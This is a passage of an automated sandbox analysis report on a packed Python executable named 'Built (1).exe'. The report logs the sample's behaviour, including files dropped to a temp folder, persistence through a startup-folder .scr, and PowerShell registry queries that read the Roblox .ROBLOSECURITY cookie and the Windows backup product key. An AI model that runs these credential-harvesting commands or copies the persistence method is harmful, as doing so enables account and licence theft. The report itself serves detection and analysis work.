              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vbscript.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sxs.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\tasklist.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\systeminfo.exe systeminfo
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
              Source: Window RecorderWindow detected: More than 3 window changes detected
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
              Source: Built (1).exeStatic PE information: Image base 0x140000000 > 0x60000000
              Source: Built (1).exeStatic file information: File size 7762522 > 1048576
              Source: Built (1).exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
              Source: Built (1).exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
              Source: Built (1).exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
              Source: Built (1).exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
              Source: Built (1).exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
              Source: Built (1).exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
              Source: Built (1).exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
              Source: Built (1).exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
              Source: Binary string: D:\a\1\b\bin\amd64\select.pdb source: Built (1).exe, Built (1).exe, 00000001.00000002.1909168340.00007FFE13201000.00000040.00000001.01000000.0000000D.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\python312.pdb source: Built (1).exe, 00000001.00000002.1906643440.00007FFDFB5D2000.00000040.00000001.01000000.00000004.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: Built (1).exe, 00000001.00000002.1905204554.00007FFDFAC9F000.00000040.00000001.01000000.00000013.sdmp
              Source: Binary string: D:\a\1\b\libcrypto-3.pdb| source: Built (1).exe, 00000001.00000002.1905686128.00007FFDFB0F1000.00000040.00000001.01000000.00000010.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: Built (1).exe, 00000001.00000002.1909887282.00007FFE148C1000.00000040.00000001.01000000.00000006.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: Built (1).exe, Built (1).exe, 00000001.00000002.1908338431.00007FFE11EA1000.00000040.00000001.01000000.00000011.sdmp
              Source: Binary string: D:\a\1\b\libssl-3.pdbDD source: Built (1).exe, 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmp
              Source: Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WA source: Built (1).exe
              Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: Built (1).exe, 00000001.00000002.1908736113.00007FFE126EC000.00000040.00000001.01000000.00000008.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: Built (1).exe, Built (1).exe, 00000001.00000002.1909029504.00007FFE130C1000.00000040.00000001.01000000.00000012.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: Built (1).exe, 00000001.00000002.1908736113.00007FFE126EC000.00000040.00000001.01000000.00000008.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: Built (1).exe, 00000001.00000002.1909536137.00007FFE1463E000.00000040.00000001.01000000.00000009.sdmp
              Source: Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.13 30 Jan 20243.0.13built on: Mon Feb 5 17:39:09 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL || WITHIN_ARENA(temp->next)assertion failed: (char **)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) || WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/*0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_
              Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: Built (1).exe, 00000000.00000003.1621395305.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1910115372.00007FFE1A463000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
              Source: Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: Built (1).exe, 00000001.00000002.1905686128.00007FFDFB059000.00000040.00000001.01000000.00000010.sdmp
              Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: Built (1).exe, 00000000.00000003.1621395305.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1910115372.00007FFE1A463000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
              Source: Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: Built (1).exe, Built (1).exe, 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp
              Source: Binary string: D:\a\1\b\libcrypto-3.pdb source: Built (1).exe, Built (1).exe, 00000001.00000002.1905686128.00007FFDFB0F1000.00000040.00000001.01000000.00000010.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: Built (1).exe, 00000001.00000002.1909315411.00007FFE13381000.00000040.00000001.01000000.0000000C.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: Built (1).exe, Built (1).exe, 00000001.00000002.1908549251.00007FFE11EC1000.00000040.00000001.01000000.0000000A.sdmp
              Source: Binary string: D:\a\1\b\libssl-3.pdb source: Built (1).exe, Built (1).exe, 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmp
              Source: Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 0000004A.00000000.1774506719.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmp, rar.exe, 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmp, rar.exe.0.dr
              Source: Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: Built (1).exe, Built (1).exe, 00000001.00000002.1908122453.00007FFE0EB31000.00000040.00000001.01000000.0000000E.sdmp
              Source: Built (1).exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
              Source: Built (1).exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
              Source: Built (1).exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
              Source: Built (1).exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
              Source: Built (1).exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

              Data Obfuscation

              barindex
              Suspicious powershell command line found
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFB1AF160 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,1_2_00007FFDFB1AF160
              Source: Built (1).exeStatic PE information: section name: _RDATA
              Source: libffi-8.dll.0.drStatic PE information: section name: UPX2
              Source: VCRUNTIME140.dll.0.drStatic PE information: section name: fothk
              Source: VCRUNTIME140.dll.0.drStatic PE information: section name: _RDATA
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB99327 push rsp; ret 1_2_00007FFDFAB99328
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB95C31 push r10; ret 1_2_00007FFDFAB95C33
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB9763E push rbp; retf 1_2_00007FFDFAB97657
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB98F42 push rsp; iretq 1_2_00007FFDFAB98F43
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB95F56 push r12; ret 1_2_00007FFDFAB95F73
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB96859 push rsi; ret 1_2_00007FFDFAB96890
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB95CE5 push r8; ret 1_2_00007FFDFAB95CEB
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB95CE0 push r10; retf 1_2_00007FFDFAB95CE2
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB95DF7 push r10; retf 1_2_00007FFDFAB95DFA
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB95CED push rdx; ret 1_2_00007FFDFAB95CF7
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB95D06 push r12; ret 1_2_00007FFDFAB95D08
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB97FFF push r12; ret 1_2_00007FFDFAB9804A
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB95F01 push r12; ret 1_2_00007FFDFAB95F10
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB95E18 push rsp; ret 1_2_00007FFDFAB95E1C
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB98419 push r10; retf 1_2_00007FFDFAB98485
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB95FB9 push r10; ret 1_2_00007FFDFAB95FCC
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB95EB4 push rsp; iretd 1_2_00007FFDFAB95EB5
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB98DBF push rsp; retf 1_2_00007FFDFAB98DC0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB982D8 push rdi; iretd 1_2_00007FFDFAB982DA
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB95E67 push rdi; iretd 1_2_00007FFDFAB95E69
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB97F67 push rbp; iretq 1_2_00007FFDFAB97F68
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB95F7B push r8; ret 1_2_00007FFDFAB95F83
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB97689 push r12; ret 1_2_00007FFDFAB976CD
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFDFAB9808B push r12; iretd 1_2_00007FFDFAB9809F
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE00784021 push rcx; ret 1_2_00007FFE00784022
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE0EB3D510 push rdx; retf 1_2_00007FFE0EB3D512
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE0EB3D2A0 push rax; retf 1_2_00007FFE0EB3D2A1
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE0EB3D2AB push rcx; retf 1_2_00007FFE0EB3D2B2
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE0EB3D3D8 push rsi; retf 1_2_00007FFE0EB3D3EA
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE0EB3D3DB push rsi; retf 1_2_00007FFE0EB3D3EA
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 1_2_00007FFE11EA7210 push rcx; retf 1_2_00007FFE11EA7212
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1

              Persistence and Installation Behavior

              barindex
              Uses cmd line tools excessively to alter registry or file data
              Source: C:\Windows\System32\cmd.exeProcess created: reg.exe
              Source: C:\Windows\System32\cmd.exeProcess created: attrib.exe
              Source: C:\Windows\System32\cmd.exeProcess created: attrib.exe
              Source: C:\Windows\System32\cmd.exeProcess created: reg.exe
              Source: C:\Windows\System32\cmd.exeProcess created: attrib.exe
              Source: C:\Windows\System32\cmd.exeProcess created: attrib.exe
              Source: C:\Users\user\Desktop\Built (1).exeFile created: C:\Users\user\AppData\Local\Temp\_MEI75282\libcrypto-3.dllJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeFile created: C:\Users\user\AppData\Local\Temp\_MEI75282\python312.dllJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeFile created: C:\Users\user\AppData\Local\Temp\_MEI75282\_hashlib.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeFile created: C:\Users\user\AppData\Local\Temp\_MEI75282\_socket.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeFile created: C:\Users\user\AppData\Local\Temp\_MEI75282\_bz2.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeFile created: C:\Users\user\AppData\Local\Temp\_MEI75282\_ctypes.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeFile created: C:\Users\user\AppData\Local\Temp\_MEI75282\_queue.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeFile created: C:\Users\user\AppData\Local\Temp\_MEI75282\sqlite3.dllJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeFile created: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeFile created: C:\Users\user\AppData\Local\Temp\_MEI75282\_lzma.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeFile created: C:\Users\user\AppData\Local\Temp\_MEI75282\libffi-8.dllJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeFile created: C:\Users\user\AppData\Local\Temp\_MEI75282\VCRUNTIME140.dllJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeFile created: C:\Users\user\AppData\Local\Temp\_MEI75282\select.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeFile created: C:\Users\user\AppData\Local\Temp\_MEI75282\_decimal.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeFile created: C:\Users\user\AppData\Local\Temp\_MEI75282\unicodedata.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeFile created: C:\Users\user\AppData\Local\Temp\_MEI75282\_sqlite3.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeFile created: C:\Users\user\AppData\Local\Temp\_MEI75282\_ssl.pydJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeFile created: C:\Users\user\AppData\Local\Temp\_MEI75282\libssl-3.dllJump to dropped file
              Source: C:\Users\user\Desktop\Built (1).exeFile created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scrJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scrJump to behavior

              Hooking and other Techniques for Hiding and Protection

              barindex
              Loading BitLocker PowerShell Module
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD17100 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00007FF6FFD17100
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
